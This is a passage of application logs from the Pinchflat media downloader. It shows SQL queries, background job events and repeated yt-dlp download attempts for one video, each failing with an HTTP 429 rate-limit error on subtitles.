m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 22:07:37.503 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:07:37.503 [debug] QUERY OK source="sources" db=0.1ms idle=1384.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:07:37.504 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1329.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:07:37.504 [debug] QUERY OK source="media_items" db=0.1ms idle=161.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 22:07:37.505 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 22:07:37.505 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:07:37.505 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:37.505 [debug] Running yt-dlp command for action: get_downloadable_status 22:07:37.505 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:37.506 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:37.506 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:37.506 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bc/6c/bc6c2a91d54bf2495ed669f7fddb3d424259f56e3dd9723a8dfdbacebd750e9f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:07:39.579 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bc/6c/bc6c2a91d54bf2495ed669f7fddb3d424259f56e3dd9723a8dfdbacebd750e9f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:07:39.579 [debug] Running yt-dlp command for action: download 22:07:39.580 [debug] QUERY OK source="settings" db=0.3ms idle=460.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:39.580 [debug] QUERY OK source="settings" db=0.1ms idle=461.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:39.580 [debug] QUERY OK source="settings" db=0.1ms idle=461.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:07:39.580 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/96/9c/969c34f237c849c7f86ffc8c663fccc179093fe329cfd0ac2e3b1a33e3eed17f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:07:42.375 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/96/9c/969c34f237c849c7f86ffc8c663fccc179093fe329cfd0ac2e3b1a33e3eed17f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 22:07:42.375 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 22:07:42.640 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":4873112,"event":"job:exception","queue_time":533111,"attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:07:44.326 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:00.221 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:08:14.328 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:08:44.330 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:00.222 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:09:07.835 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784858947835640920,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:09:07.836 [debug] QUERY OK source="media_items" db=0.5ms idle=1717.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 22:09:07.837 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:09:07.837 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1718.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:09:07.838 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1334.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:07.839 [debug] QUERY OK source="media_items" db=0.5ms idle=168.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 22:09:07.840 [debug] QUERY OK source="media_metadata" db=0.0ms idle=4.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 22:09:07.840 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:07.840 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:07.840 [debug] Running yt-dlp command for action: get_downloadable_status 22:09:07.840 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:07.841 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:07.841 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:07.841 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/70/e9/70e9b419d3ea432b0b797c506033f73768024a5e921fe5e4cefabdfb3decbe6d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:09:11.796 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/70/e9/70e9b419d3ea432b0b797c506033f73768024a5e921fe5e4cefabdfb3decbe6d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:09:11.796 [debug] Running yt-dlp command for action: download 22:09:11.797 [debug] QUERY OK source="settings" db=0.3ms idle=678.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:11.797 [debug] QUERY OK source="settings" db=0.1ms idle=678.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:11.798 [debug] QUERY OK source="settings" db=0.2ms idle=678.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:09:11.798 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2d/4c/2d4cf05cd98cd26eddad23bd91696a333e10b30d618e19a8c8d62459a3160c96.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:09:14.331 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:14.364 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/2d/4c/2d4cf05cd98cd26eddad23bd91696a333e10b30d618e19a8c8d62459a3160c96.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 22:09:14.364 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 22:09:14.475 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6529292,"event":"job:exception","queue_time":299722,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:09:44.333 [info] {"source":"oban","duration":1593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.223 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:14.335 [info] {"source":"oban","duration":1555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:44.337 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.224 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:14.339 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:44.340 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:51.289 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784859111288811248,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:11:51.289 [debug] QUERY OK source="media_items" db=0.4ms idle=1170.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 22:11:51.289 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:11:51.290 [debug] QUERY OK source="sources" db=0.3ms idle=1170.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:11:51.290 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1171.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:51.291 [debug] QUERY OK source="media_items" db=0.1ms idle=186.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 22:11:51.291 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 22:11:51.291 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:51.292 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:51.292 [debug] Running yt-dlp command for action: get_downloadable_status 22:11:51.292 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:51.292 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:51.292 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:51.292 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2f/e1/2fe13378d4a1302972ae25f6f69cf6190011e334fbd71ad92dba37eaa34c6348.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:11:53.430 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2f/e1/2fe13378d4a1302972ae25f6f69cf6190011e334fbd71ad92dba37eaa34c6348.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:11:53.430 [debug] Running yt-dlp command for action: download 22:11:53.431 [debug] QUERY OK source="settings" db=0.2ms idle=323.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:53.431 [debug] QUERY OK source="settings" db=0.0ms idle=312.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:53.431 [debug] QUERY OK source="settings" db=0.0ms idle=312.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:53.431 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --extract-audio --format-sort 